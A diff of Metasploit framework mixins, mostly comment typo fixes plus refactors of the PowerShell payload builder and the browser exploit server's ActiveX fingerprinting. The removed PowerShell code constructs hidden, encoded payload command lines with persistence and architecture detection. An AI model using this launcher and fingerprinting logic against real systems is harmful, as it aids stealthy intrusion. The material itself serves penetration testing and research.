when /mozilla\/[0-9]+\.[0-9] \(compatible; msie ([0-9]+\.[0-9]+)/ when /mozilla\/[0-9]+\.[0-9] \(compatible; msie ([0-9]+\.[0-9]+)/i, /mozilla\/[0-9]+\.[0-9] \(.+ rv:([0-9]+\.[0-9])\)/i
fp[:ua_name] = HttpClients::IE fp[:ua_name] = HttpClients::IE
fp[:ua_ver] = $1 fp[:ua_ver] = $1
else else
@ -453,7 +453,7 @@ module Exploit::Remote::HttpServer
# Returns the last-used resource path # Returns the last-used resource path
# #
def get_resource def get_resource
# We don't want modules modifying their service_path inadvertantly, so # We don't want modules modifying their service_path inadvertently, so
# give them a dup. Can be nil during module setup. # give them a dup. Can be nil during module setup.
@service_path ? @service_path.dup : nil @service_path ? @service_path.dup : nil
end end

View File

@ -1,7 +1,7 @@
# -*- coding: binary -*- # -*- coding: binary -*-
### ###
# #
# This mixn provides methods for interacting with a JDK installation to perform # This mixin provides methods for interacting with a JDK installation to perform
# functions such as dynamic compilation and jar signing. # functions such as dynamic compilation and jar signing.
# #
# Dependencies: # Dependencies:
@ -108,7 +108,7 @@ module Exploit::Java
if classnames.class == [].class && codez.class == [].class if classnames.class == [].class && codez.class == [].class
# default compile class # default compile class
begin begin
# Sames as java_compiler_klass.CompileFromMemory( String[] classnames, # Same as java_compiler_klass.CompileFromMemory( String[] classnames,
# String[] codez, String[] compilerOptions) # String[] codez, String[] compilerOptions)
success = java_compiler_klass._invoke('CompileFromMemory', success = java_compiler_klass._invoke('CompileFromMemory',
# Signature explained: [ means array, Lpath.to.object; means object # Signature explained: [ means array, Lpath.to.object; means object

View File

@ -134,7 +134,7 @@ module Exploit::Remote::MSSQL_SQLI
end end
# #
# Issue a SQL query using the the SQL injection point # Issue a SQL query using the SQL injection point
# #
def mssql_query(sqla, doprint=false) def mssql_query(sqla, doprint=false)

View File

@ -92,7 +92,7 @@ module Exploit::Remote::NDMP
self.recv_buff << ( sock.get_once( 4 - self.recv_buff.length, 5) || '' ) self.recv_buff << ( sock.get_once( 4 - self.recv_buff.length, 5) || '' )
end end
# If we did not recieve a full length value, return early # If we did not receive a full length value, return early
if (self.recv_buff.length < 4) if (self.recv_buff.length < 4)
return false return false
end end

View File

@ -10,7 +10,7 @@ module Msf
### ###
# #
# This mixins will only provide the options name and description when a protocol want to use ntlm features from lib/rex/proto/ntlm . # This mixins will only provide the options name and description when a protocol want to use ntlm features from lib/rex/proto/ntlm .
# Unfortunatly other mixin's still have to make direct call from lib/rex/proto/ntlm # Unfortunately other mixin's still have to make direct call from lib/rex/proto/ntlm
# cause some protocol like SMB are implemented in lib/rex/proto/ while others like mssql are implemented in lib/msf/core/exploit # cause some protocol like SMB are implemented in lib/rex/proto/ while others like mssql are implemented in lib/msf/core/exploit
# #
### ###

View File

@ -100,7 +100,7 @@ module Exploit::ORACLE
# The Handling is a little different for certain types of query # The Handling is a little different for certain types of query
# Mainly Select needs a fetch statement to get the data # Mainly Select needs a fetch statement to get the data
# Also return types are a little different (some return rows changed so we can used that) # Also return types are a little different (some return rows changed so we can used that)
# The case statement could probaby be collapsed a bit but leaving it as is for the moment # The case statement could probably be collapsed a bit but leaving it as is for the moment
# in case it's useful later... # in case it's useful later...
# Select Queries # Select Queries

View File

@ -218,7 +218,7 @@ module Exploit::PDF
end end
## ##
#Controller funtion, should be entrypoint for pdf exploits #Controller function, should be entrypoint for pdf exploits
## ##
def create_pdf(js) def create_pdf(js)
strFilter = "" strFilter = ""

View File

@ -1,7 +1,7 @@
# -*- coding: binary -*- # -*- coding: binary -*-
### ###
# #
# This module provides methods for parseing and interacting # This module provides methods for parsing and interacting
# with the PDF format. # with the PDF format.
# #
### ###

View File

@ -205,7 +205,7 @@ module Exploit::Remote::Postgres
# result of "select version()" if authentication was successful. # result of "select version()" if authentication was successful.
# #
# @return [Hash] A hash containing the version in one of the keys :preauth, # @return [Hash] A hash containing the version in one of the keys :preauth,
# :auth, or :unkown, depending on how it was determined # :auth, or :unknown, depending on how it was determined
# @see #postgres_authed_fingerprint # @see #postgres_authed_fingerprint
# @see #analyze_auth_error # @see #analyze_auth_error
def postgres_fingerprint(args={}) def postgres_fingerprint(args={})

View File

@ -1,10 +1,8 @@
# -*- coding: binary -*- # -*- coding: binary -*-
require 'rex/exploitation/powershell' require 'rex/powershell'
module Msf module Msf
module Exploit::Powershell module Exploit::Powershell
PowershellScript = Rex::Exploitation::Powershell::Script
def initialize(info = {}) def initialize(info = {})
super super
register_advanced_options( register_advanced_options(
@ -27,15 +25,13 @@ module Exploit::Powershell
# #
# @return [String] Encoded script # @return [String] Encoded script
def encode_script(script_in) def encode_script(script_in)
# Build script object opts = {}
psh = PowershellScript.new(script_in) datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ && v }.keys.map do |k|
# Invoke enabled modifiers
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k|
mod_method = k.split('::').last.intern mod_method = k.split('::').last.intern
psh.send(mod_method) opts[mod_method.to_sym] = true
end end
psh.encode_code Rex::Powershell::Command.encode_script(script_in, opts)
end end
# #
@ -46,16 +42,14 @@ module Exploit::Powershell
# @param eof [String] Marker to indicate the end of file appended to script # @param eof [String] Marker to indicate the end of file appended to script
# #
# @return [String] Compressed script with decompression stub # @return [String] Compressed script with decompression stub
def compress_script(script_in, eof = nil) def compress_script(script_in, eof=nil)
# Build script object opts = {}
psh = PowershellScript.new(script_in) datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ && v }.keys.map do |k|
# Invoke enabled modifiers
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k|
mod_method = k.split('::').last.intern mod_method = k.split('::').last.intern
psh.send(mod_method) opts[mod_method.to_sym] = true
end end
psh.compress_code(eof) Rex::Powershell::Command.compress_script(script_in, eof, opts)
end end
# #
@ -69,19 +63,7 @@ module Exploit::Powershell
# #
# @return [String] Powershell command line with arguments # @return [String] Powershell command line with arguments
def generate_psh_command_line(opts) def generate_psh_command_line(opts)
if opts[:path] and (opts[:path][-1, 1] != '\\') Rex::Powershell::Command.generate_psh_command_line(opts)
opts[:path] << '\\'
end
if opts[:no_full_stop]
binary = 'powershell'
else
binary = 'powershell.exe'
end
args = generate_psh_args(opts)
"#{opts[:path]}#{binary} #{args}"
end end
# #
@ -122,66 +104,7 @@ module Exploit::Powershell
opts[:shorten] = (datastore['Powershell::method'] != 'old') opts[:shorten] = (datastore['Powershell::method'] != 'old')
end end
arg_string = ' ' Rex::Powershell::Command.generate_psh_args(opts)
opts.each_pair do |arg, value|
case arg
when :encodedcommand
arg_string << "-EncodedCommand #{value} " if value
when :executionpolicy
arg_string << "-ExecutionPolicy #{value} " if value
when :inputformat
arg_string << "-InputFormat #{value} " if value
when :file
arg_string << "-File #{value} " if value
when :noexit
arg_string << '-NoExit ' if value
when :nologo
arg_string << '-NoLogo ' if value
when :noninteractive
arg_string << '-NonInteractive ' if value
when :mta
arg_string << '-Mta ' if value
when :outputformat
arg_string << "-OutputFormat #{value} " if value
when :sta
arg_string << '-Sta ' if value
when :noprofile
arg_string << '-NoProfile ' if value
when :windowstyle
arg_string << "-WindowStyle #{value} " if value
end
end
# Command must be last (unless from stdin - etc)
if opts[:command]
arg_string << "-Command #{opts[:command]}"
end
# Shorten arg if PSH 2.0+
if opts[:shorten]
# Invoke-Command and Out-File require these options to have
# an additional space before to prevent Powershell code being
# mangled.
arg_string.gsub!(' -Command ', ' -c ')
arg_string.gsub!('-EncodedCommand ', '-e ')
arg_string.gsub!('-ExecutionPolicy ', '-ep ')
arg_string.gsub!(' -File ', ' -f ')
arg_string.gsub!('-InputFormat ', '-i ')
arg_string.gsub!('-NoExit ', '-noe ')
arg_string.gsub!('-NoLogo ', '-nol ')
arg_string.gsub!('-NoProfile ', '-nop ')
arg_string.gsub!('-NonInteractive ', '-noni ')
arg_string.gsub!('-OutputFormat ', '-o ')
arg_string.gsub!('-Sta ', '-s ')
arg_string.gsub!('-WindowStyle ', '-w ')
end
# Strip off first space character
arg_string = arg_string[1..-1]
# Remove final space character
arg_string = arg_string[0..-2] if (arg_string[-1] == ' ')
arg_string
end end
# #
@ -196,41 +119,15 @@ module Exploit::Powershell
# @return [String] Wrapped powershell code # @return [String] Wrapped powershell code
def run_hidden_psh(ps_code, payload_arch, encoded) def run_hidden_psh(ps_code, payload_arch, encoded)
arg_opts = { arg_opts = {
noprofile: true, noprofile: true,
windowstyle: 'hidden', windowstyle: 'hidden',
} }
if encoded
arg_opts[:encodedcommand] = ps_code
else
arg_opts[:command] = ps_code.gsub("'", "''")
end
# Old technique fails if powershell exits.. # Old technique fails if powershell exits..
arg_opts[:noexit] = true if datastore['Powershell::method'] == 'old' arg_opts[:noexit] = (datastore['Powershell::method'] == 'old')
arg_opts[:shorten] = (datastore['Powershell::method'] != 'old')
ps_args = generate_psh_args(arg_opts) Rex::Powershell::Command.run_hidden_psh(ps_code, payload_arch, encoded, arg_opts)
process_start_info = <<EOS
$s=New-Object System.Diagnostics.ProcessStartInfo
$s.FileName=$b
$s.Arguments='#{ps_args}'
$s.UseShellExecute=$false
$p=[System.Diagnostics.Process]::Start($s)
EOS
process_start_info.gsub!("\n", ';')
archictecure_detection = <<EOS
if([IntPtr]::Size -eq 4){
#{payload_arch == 'x86' ? "$b='powershell.exe'" : "$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'"}
}else{
#{payload_arch == 'x86' ? "$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'" : "$b='powershell.exe'"}
};
EOS
archictecure_detection.gsub!("\n", '')
archictecure_detection + process_start_info
end end
# #
@ -263,118 +160,28 @@ EOS
opts[:prepend_sleep] ||= datastore['Powershell::prepend_sleep'] opts[:prepend_sleep] ||= datastore['Powershell::prepend_sleep']
opts[:method] ||= datastore['Powershell::method'] opts[:method] ||= datastore['Powershell::method']
if opts[:encode_inner_payload] && opts[:encode_final_payload] unless opts.key? :shorten
fail RuntimeError, ':encode_inner_payload and :encode_final_payload are incompatible options' opts[:shorten] = (datastore['Powershell::method'] != 'old')
end
if opts[:no_equals] && !opts[:encode_final_payload]
fail RuntimeError, ':no_equals requires :encode_final_payload option to be used'
end
psh_payload = case opts[:method]
when 'net'
Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
when 'reflection'
Msf::Util::EXE.to_win32pe_psh_reflection(framework, pay)
when 'old'
Msf::Util::EXE.to_win32pe_psh(framework, pay)
when 'msil'
fail RuntimeError, 'MSIL Powershell method no longer exists'
else
fail RuntimeError, 'No Powershell method specified'
end
# Run our payload in a while loop
if opts[:persist]
fun_name = Rex::Text.rand_text_alpha(rand(2) + 2)
sleep_time = rand(5) + 5
vprint_status("Sleep time set to #{sleep_time} seconds")
psh_payload = "function #{fun_name}{#{psh_payload}};"
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
end
if opts[:prepend_sleep]
if opts[:prepend_sleep].to_i > 0
psh_payload = "Start-Sleep -s #{opts[:prepend_sleep]};" << psh_payload
elsif opts[:prepend_sleep].to_i < 0
vprint_error('Sleep time must be greater than or equal to 0 seconds')
end
end
compressed_payload = compress_script(psh_payload)
encoded_payload = encode_script(psh_payload)
# This branch is probably never taken...
if encoded_payload.length <= compressed_payload.length
smallest_payload = encoded_payload
encoded = true
else
if opts[:encode_inner_payload]
encoded = true
compressed_encoded_payload = encode_script(compressed_payload)
if encoded_payload.length <= compressed_encoded_payload.length
smallest_payload = encoded_payload
else
smallest_payload = compressed_encoded_payload
end
else
smallest_payload = compressed_payload
encoded = false
end
end
# Wrap in hidden runtime / architecture detection
final_payload = run_hidden_psh(smallest_payload, payload_arch, encoded)
command_args = {
noprofile: true,
windowstyle: 'hidden'
}.merge(opts)
if opts[:encode_final_payload]
command_args[:encodedcommand] = encode_script(final_payload)
# If '=' is a bad character pad the payload until Base64 encoded
# payload contains none.
if opts[:no_equals]
while command_args[:encodedcommand].include? '='
final_payload << ' '
command_args[:encodedcommand] = encode_script(final_payload)
end
end
else
if opts[:use_single_quotes]
# Escape Single Quotes
final_payload.gsub!("'", "''")
# Wrap command in quotes
final_payload = "'#{final_payload}'"
end
command_args[:command] = final_payload
end
psh_command = generate_psh_command_line(command_args)
if opts[:remove_comspec]
command = psh_command
else
command = "%COMSPEC% /b /c start /b /min #{psh_command}"
end end
template_path = File.join(Msf::Config.data_directory,
"templates",
"scripts")
command = Rex::Powershell::Command.cmd_psh_payload(pay,
payload_arch,
template_path,
opts)
vprint_status("Powershell command length: #{command.length}") vprint_status("Powershell command length: #{command.length}")
if command.length > 8191
fail RuntimeError, 'Powershell command length is greater than the command line maximum (8192 characters)'
end
command command
end end
# #
# Useful method cache # Useful method cache
# #
module PshMethods module PshMethods
include Rex::Exploitation::Powershell::PshMethods include Rex::Powershell::PshMethods
end end
end end
end end

View File

@ -49,24 +49,30 @@ module Msf
# Requirements a browser module can define in either BrowserRequirements or in targets # Requirements a browser module can define in either BrowserRequirements or in targets
REQUIREMENT_KEY_SET = Set.new([ REQUIREMENT_KEY_SET = Set.new([
:source, # Either 'script' or 'headers' :source, # Return either 'script' or 'headers'
:ua_name, # Example: MSIE :ua_name, # Example: Returns 'MSIE'
:ua_ver, # Example: 8.0, 9.0 :ua_ver, # Example: Returns '8.0', '9.0'
:os_name, # Example: Windows 7, Linux :os_name, # Example: Returns 'Windows 7', 'Linux'
:os_device, # Example: iPad, iPhone, etc :os_device, # Example: Returns 'iPad', 'iPhone', etc
:os_vendor, # Example: Microsoft, Ubuntu, Apple, etc :os_vendor, # Example: Returns 'Microsoft', 'Ubuntu', 'Apple', etc
:os_sp, # Example: SP2 :os_sp, # Example: Returns 'SP2'
:language, # Example: en-us :language, # Example: Returns 'en-us'
:arch, # Example: x86 :arch, # Example: Returns 'x86'
:proxy, # 'true' or 'false' :proxy, # Returns 'true' or 'false'
:silverlight, # 'true' or 'false' :silverlight, # Returns 'true' or 'false'
:office, # Example: "2007", "2010" :office, # Example: Returns "2007", "2010"
:java, # Example: 1.6, 1.6.0.0 :java, # Example: Return '1.6', or maybe '1.6.0.0' (depends)
:clsid, # ActiveX clsid. Also requires the :method key :mshtml_build, # mshtml build. Example: Returns "65535"
:method, # ActiveX method. Also requires the :clsid key :flash, # Example: Returns "12.0" (chrome/ff) or "12.0.0.77" (IE)
:mshtml_build, # mshtml build. Example: "65535" :vuln_test, # Example: "if(window.MyComponentIsInstalled)return true;",
:flash, # Example: "12.0" (chrome/ff) or "12.0.0.77" (IE) # :activex is a special case.
:vuln_test # Example: "if(window.MyComponentIsInstalled)return true;" # When you set this requirement in your module, this is how it should be:
# [{:clsid=>'String', :method=>'String'}]
# Where each Hash is a test case
# But when BES receives this information, the JavaScript will return this format:
# "{CLSID}=>Method=>Boolean;"
# Also see: #has_bad_activex?
:activex
]) ])
def initialize(info={}) def initialize(info={})
@ -105,68 +111,61 @@ module Msf
super super
end end
#
# Returns the custom 404 URL set by the user # Returns the custom 404 URL set by the user
# #
# @return [String] # @return [String]
#
def get_custom_404_url def get_custom_404_url
datastore['Custom404'].to_s datastore['Custom404'].to_s
end end
#
# Allows a block of code to access BES resources in a thread-safe fashion # Allows a block of code to access BES resources in a thread-safe fashion
# #
# @param block [Proc] Block of code to sync # @param block [Proc] Block of code to sync
#
def sync(&block) def sync(&block)
(@mutex ||= Mutex.new).synchronize(&block) (@mutex ||= Mutex.new).synchronize(&block)
end end
#
# Returns the resource (URI) to the module to allow access to on_request_exploit # Returns the resource (URI) to the module to allow access to on_request_exploit
# #
# @return [String] URI to the exploit page # @return [String] URI to the exploit page
#
def get_module_resource def get_module_resource
"#{get_resource.to_s.chomp("/")}/#{@exploit_receiver_page}/" "#{get_resource.to_s.chomp("/")}/#{@exploit_receiver_page}/"
end end
#
# Returns the absolute URL to the module's resource that points to on_request_exploit # Returns the absolute URL to the module's resource that points to on_request_exploit
# #
# @return [String] absolute URI to the exploit page # @return [String] absolute URI to the exploit page
#
def get_module_uri def get_module_uri
"#{get_uri.chomp("/")}/#{@exploit_receiver_page}" "#{get_uri.chomp("/")}/#{@exploit_receiver_page}"
end end
#
# Returns the current target # Returns the current target
#
def get_target def get_target
@target @target
end end
#
# Returns a hash of recognizable requirements # Returns a hash of recognizable requirements
# #
# @param reqs [Hash] A hash that contains data for the requirements # @param reqs [Hash] A hash that contains data for the requirements
# @return [Hash] A hash of requirements # @return [Hash] A hash of requirements
#
def extract_requirements(reqs) def extract_requirements(reqs)
tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.include?(k.to_sym)} tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.include?(k.to_sym)}
# Make sure keys are always symbols # Make sure keys are always symbols
Hash[tmp.map{|(k,v)| [k.to_sym,v]}] Hash[tmp.map{|(k,v)| [k.to_sym,v]}]
end end
#
# Sets the target automatically based on what requirements are met. # Sets the target automatically based on what requirements are met.
# If there's a possible matching target, it will also merge the requirements. # If there's a possible matching target, it will also merge the requirements.
# You can use the get_target() method to retrieve the most current target. # You can use the get_target() method to retrieve the most current target.
# #
# @param profile [Hash] The profile to check # @param profile [Hash] The profile to check
#
def try_set_target(profile) def try_set_target(profile)
match_counts = [] match_counts = []
target_requirements = {} target_requirements = {}
@ -195,30 +194,36 @@ module Msf
end end
end end
#
# Returns true if there's a bad ActiveX, otherwise false.
# @param ax [String] The raw activex the JavaScript detection will return in this format:
# "{CLSID}=>Method=>Boolean;"
# @return [Boolean] True if there's a bad ActiveX, otherwise false
def has_bad_activex?(ax)
ax.split(';').each do |a|
bool = a.split('=>')[2]
if bool == 'false'
return true
end
end
false
end
# Returns an array of items that do not meet the requirements # Returns an array of items that do not meet the requirements
# #
# @param profile [Hash] The profile to check # @param profile [Hash] The profile to check
# @return [Array] An array of requirements not met # @return [Array] An array of requirements not met
#
def get_bad_requirements(profile) def get_bad_requirements(profile)
bad_reqs = [] bad_reqs = []
# At this point the check is already done.
# If :activex is true, that means the clsid + method had a match,
# if not, then false.
if @requirements[:clsid] and @requirements[:method]
@requirements[:activex] = 'true' # Script passes boolean as string
end
@requirements.each do |k, v| @requirements.each do |k, v|
# Special keys to ignore because the script registers this as [:activex] = true or false
next if k == :clsid or k == :method
expected = k != :vuln_test ? v : 'true' expected = k != :vuln_test ? v : 'true'
vprint_debug("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k.to_sym]}") vprint_debug("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k.to_sym]}")
if k == :vuln_test if k == :activex
bad_reqs << k if has_bad_activex?(profile[k.to_sym])
elsif k == :vuln_test
bad_reqs << k unless profile[k.to_sym].to_s == 'true' bad_reqs << k unless profile[k.to_sym].to_s == 'true'
elsif v.is_a? Regexp elsif v.is_a? Regexp
bad_reqs << k if profile[k.to_sym] !~ v bad_reqs << k if profile[k.to_sym] !~ v
@ -232,7 +237,6 @@ module Msf
bad_reqs bad_reqs
end end
#
# Returns the target profile based on the tag. Each profile has the following structure: # Returns the target profile based on the tag. Each profile has the following structure:
# 'cookie_name' => # 'cookie_name' =>
# { # {
@ -253,7 +257,7 @@ module Msf
# #
# If the source is 'script', the profile might have even more information about plugins: # If the source is 'script', the profile might have even more information about plugins:
# 'office' : The version of Microsoft Office (IE only) # 'office' : The version of Microsoft Office (IE only)
# 'activex' : Whether a specific method is available from an ActiveX control (IE only) # 'activex' : Whether a specific set of clsid & method is available from an ActiveX control (IE only)
# 'java' : The Java version # 'java' : The Java version
# 'mshtml_build' : The MSHTML build version # 'mshtml_build' : The MSHTML build version
# 'flash' : The Flash version # 'flash' : The Flash version
@ -261,45 +265,41 @@ module Msf
# #
# @param tag [String] Either a cookie or IP + User-Agent # @param tag [String] Either a cookie or IP + User-Agent
# @return [Hash] The profile found. If not found, returns nil # @return [Hash] The profile found. If not found, returns nil
#
def get_profile(tag) def get_profile(tag)
sync do sync do
return @target_profiles[tag] return @target_profiles[tag]
end end
end end
#
# Updates information for a specific profile # Updates information for a specific profile
# #
# @param target_profile [Hash] The profile to update # @param target_profile [Hash] The profile to update
# @param key [Symbol] The symbol to use for the hash # @param key [Symbol] The symbol to use for the hash
# @param value [String] The value to assign # @param value [String] The value to assign
#
def update_profile(target_profile, key, value) def update_profile(target_profile, key, value)
sync do sync do
target_profile[key] = value target_profile[key] = value
end end
end end
#
# Initializes a profile, if it did not previously exist # Initializes a profile, if it did not previously exist
# #
# @param tag [String] A unique string as a way to ID the profile # @param tag [String] A unique string as a way to ID the profile
#
def init_profile(tag) def init_profile(tag)
sync do sync do
@target_profiles[tag] ||= {} @target_profiles[tag] ||= {}
end end
end end
#
# Retrieves a tag. # Retrieves a tag.
# First it obtains the tag from the browser's "Cookie" header. # First it obtains the tag from the browser's "Cookie" header.
# If the header is empty (possible if the browser has cookies disabled), # If the header is empty (possible if the browser has cookies disabled),
# then it will return a tag based on IP + the user-agent. # then it will return a tag based on IP + the user-agent.
# #
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
#
def retrieve_tag(cli, request) def retrieve_tag(cli, request)
cookie = CGI::Cookie.parse(request.headers['Cookie'].to_s) cookie = CGI::Cookie.parse(request.headers['Cookie'].to_s)
tag = cookie.has_key?(cookie_name) && cookie[cookie_name].first tag = cookie.has_key?(cookie_name) && cookie[cookie_name].first
@ -317,13 +317,12 @@ module Msf
tag tag
end end
#
# Registers target information to @target_profiles # Registers target information to @target_profiles
# #
# @param source [Symbol] Either :script, or :headers # @param source [Symbol] Either :script, or :headers
# @param cli [Socket] Socket for the browser # @param cli [Socket] Socket for the browser
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
#
def process_browser_info(source, cli, request) def process_browser_info(source, cli, request)
tag = retrieve_tag(cli, request) tag = retrieve_tag(cli, request)
init_profile(tag) init_profile(tag)
@ -361,23 +360,21 @@ module Msf
}) })
end end
#
# Checks if the target is running a proxy # Checks if the target is running a proxy
# #
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
# @return [Boolean] True if found, otherwise false # @return [Boolean] True if found, otherwise false
#
def has_proxy?(request) def has_proxy?(request)
proxy_header_set = PROXY_REQUEST_HEADER_SET & request.headers.keys proxy_header_set = PROXY_REQUEST_HEADER_SET & request.headers.keys
!proxy_header_set.empty? !proxy_header_set.empty?
end end
#
# Returns the code for client-side detection # Returns the code for client-side detection
# #
# @param user_agent [String] The user-agent of the browser # @param user_agent [String] The user-agent of the browser
# @return [String] Returns the HTML for detection # @return [String] Returns the HTML for detection
#
def get_detection_html(user_agent) def get_detection_html(user_agent)
ua_info = fingerprint_user_agent(user_agent) ua_info = fingerprint_user_agent(user_agent)
os = ua_info[:os_name] os = ua_info[:os_name]
@ -418,11 +415,20 @@ module Msf
d['office'] = ie_addons_detect.getMsOfficeVersion(); d['office'] = ie_addons_detect.getMsOfficeVersion();
d['mshtml_build'] = ScriptEngineBuildVersion().toString(); d['mshtml_build'] = ScriptEngineBuildVersion().toString();
<% <%
clsid = @requirements[:clsid] activex = @requirements[:activex]
method = @requirements[:method] if activex
if clsid and method activex.each do \|a\|
clsid = a[:clsid]
method = a[:method]
%> %>
d['activex'] = ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>'); var ax = ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>');
d['activex'] = "";
if (ax == true) {
d['activex'] += "<%=clsid%>=><%=method%>=>true;";
} else {
d['activex'] += "<%=clsid%>=><%=method%>=>false;";
}
<% end %>
<% end %> <% end %>
<% end %> <% end %>
@ -438,7 +444,7 @@ module Msf
%Q| %Q|
<script> <script>
#{js} #{code}
</script> </script>
<noscript> <noscript>
<img style="visibility:hidden" src="#{get_resource.chomp("/")}/#{@noscript_receiver_page}/"> <img style="visibility:hidden" src="#{get_resource.chomp("/")}/#{@noscript_receiver_page}/">
@ -462,12 +468,11 @@ module Msf
cookie cookie
end end
#
# Handles exploit stages. # Handles exploit stages.
# #
# @param cli [Socket] Socket for the browser # @param cli [Socket] Socket for the browser
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
#
def on_request_uri(cli, request) def on_request_uri(cli, request)
case request.uri case request.uri
when '/', get_resource.chomp("/") when '/', get_resource.chomp("/")
@ -548,18 +553,17 @@ module Msf
end end
end end
#
# Overriding method. The module should override this. # Overriding method. The module should override this.
# #
# @param cli [Socket] Socket for the browser # @param cli [Socket] Socket for the browser
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
# @param browser_info [Hash] The target profile # @param browser_info [Hash] The target profile
#
def on_request_exploit(cli, request, browser_info) def on_request_exploit(cli, request, browser_info)
raise NoMethodError, "Module must define its own on_request_exploit method" raise NoMethodError, "Module must define its own on_request_exploit method"
end end
#
# Converts an ERB-based exploit template into HTML, and sends to client # Converts an ERB-based exploit template into HTML, and sends to client
# #
# @param cli [Socket] Socket for the browser # @param cli [Socket] Socket for the browser
@ -567,7 +571,6 @@ module Msf
# then this is handled as an Array, with the first element # then this is handled as an Array, with the first element
# being the HTML, and the second element is the binding object. # being the HTML, and the second element is the binding object.
# @param headers [Hash] The custom HTTP headers to include in the response # @param headers [Hash] The custom HTTP headers to include in the response
#
def send_exploit_html(cli, template, headers={}) def send_exploit_html(cli, template, headers={})
html = '' html = ''
if template.class == Array if template.class == Array
@ -578,13 +581,12 @@ module Msf
send_response(cli, html, headers) send_response(cli, html, headers)
end end
#
# Generates a target-specific payload, should be called by the module # Generates a target-specific payload, should be called by the module
# #
# @param cli [Socket] Socket for the browser # @param cli [Socket] Socket for the browser
# @param browser_info [Hash] The target profile # @param browser_info [Hash] The target profile
# @return [String] The payload # @return [String] The payload
#
def get_payload(cli, browser_info) def get_payload(cli, browser_info)
arch = browser_info[:arch] arch = browser_info[:arch]
platform = browser_info[:os_name] platform = browser_info[:os_name]
@ -618,9 +620,8 @@ module Msf
private private
#
# Sends a 404 respons. If a custom 404 is configured, then it will redirect to that instead. # Sends a 404 response. If a custom 404 is configured, then it will redirect to that instead.
#
def send_not_found(cli) def send_not_found(cli)
custom_404_url = get_custom_404_url custom_404_url = get_custom_404_url
if custom_404_url.blank? if custom_404_url.blank?

View File

@ -3,6 +3,7 @@ require 'rex/proto/smb'
require 'rex/proto/ntlm' require 'rex/proto/ntlm'
require 'rex/proto/dcerpc' require 'rex/proto/dcerpc'
require 'rex/encoder/ndr' require 'rex/encoder/ndr'
require 'recog'
module Msf module Msf
module Exploit::Remote::SMB module Exploit::Remote::SMB
@ -45,7 +46,7 @@ module Msf
register_advanced_options( register_advanced_options(
[ [
OptBool.new('SMBDirect', [ true, 'The target port is a raw SMB service (not NetBIOS)', true ]), OptBool.new('SMBDirect', [ false, 'The target port is a raw SMB service (not NetBIOS)', true ]),
OptString.new('SMBUser', [ false, 'The username to authenticate as', '']), OptString.new('SMBUser', [ false, 'The username to authenticate as', '']),
OptString.new('SMBPass', [ false, 'The password for the specified username', '']), OptString.new('SMBPass', [ false, 'The password for the specified username', '']),
OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', '.']), OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', '.']),

View File

@ -35,7 +35,7 @@ module Exploit::Remote::SMB::Client::Psexec
# Retrieve the SERVICE_NAME option, generate a random # Retrieve the SERVICE_NAME option, generate a random
# one if not already set. # one if not already set.
# #
# @return service_name [String] the name of the service. # @return [String] service_name the name of the service.
def service_name def service_name
@service_name ||= datastore['SERVICE_NAME'] @service_name ||= datastore['SERVICE_NAME']
@service_name ||= Rex::Text.rand_text_alpha(8) @service_name ||= Rex::Text.rand_text_alpha(8)
@ -44,7 +44,7 @@ module Exploit::Remote::SMB::Client::Psexec
# Retrieve the SERVICE_DISPLAY_NAME option, generate a random # Retrieve the SERVICE_DISPLAY_NAME option, generate a random
# one if not already set. # one if not already set.
# #
# @return service_display_name [String] the display name of the service. # @return [String] the display name of the service.
def display_name def display_name
@display_name ||= datastore['SERVICE_DISPLAY_NAME'] @display_name ||= datastore['SERVICE_DISPLAY_NAME']
@display_name ||= Rex::Text.rand_text_alpha(16) @display_name ||= Rex::Text.rand_text_alpha(16)
@ -52,7 +52,7 @@ module Exploit::Remote::SMB::Client::Psexec
# Retrieve the SERVICE_DESCRIPTION option # Retrieve the SERVICE_DESCRIPTION option
# #
# @return service_description [String] the service description. # @return [String] the service description.
def service_description def service_description
@service_description ||= datastore['SERVICE_DESCRIPTION'] @service_description ||= datastore['SERVICE_DESCRIPTION']
end end

View File

@ -240,7 +240,7 @@ module Msf
datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST'] datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST']
end end
# New connection handler, executed when there is a new conneciton. # New connection handler, executed when there is a new connection.
# #
# @param c [Socket] The client establishing the connection. # @param c [Socket] The client establishing the connection.
# @return [Hash] The hash with the client data initialized. # @return [Hash] The hash with the client data initialized.

View File

@ -64,7 +64,7 @@ module Exploit::Remote::TincdExploitClient
# #
# The main method that will be called that will call other methods to send first message # The main method that will be called that will call other methods to send first message
# and continously read from socket and ensures TCP disconnect at the end # and continuously read from socket and ensures TCP disconnect at the end
# #
def send_recv(packet_payload) def send_recv(packet_payload)
@packet_payload = packet_payload @packet_payload = packet_payload
@ -95,7 +95,7 @@ module Exploit::Remote::TincdExploitClient
# #
# Reading of certificate files and parsing them, generation of random keys # Reading of certificate files and parsing them, generation of random keys
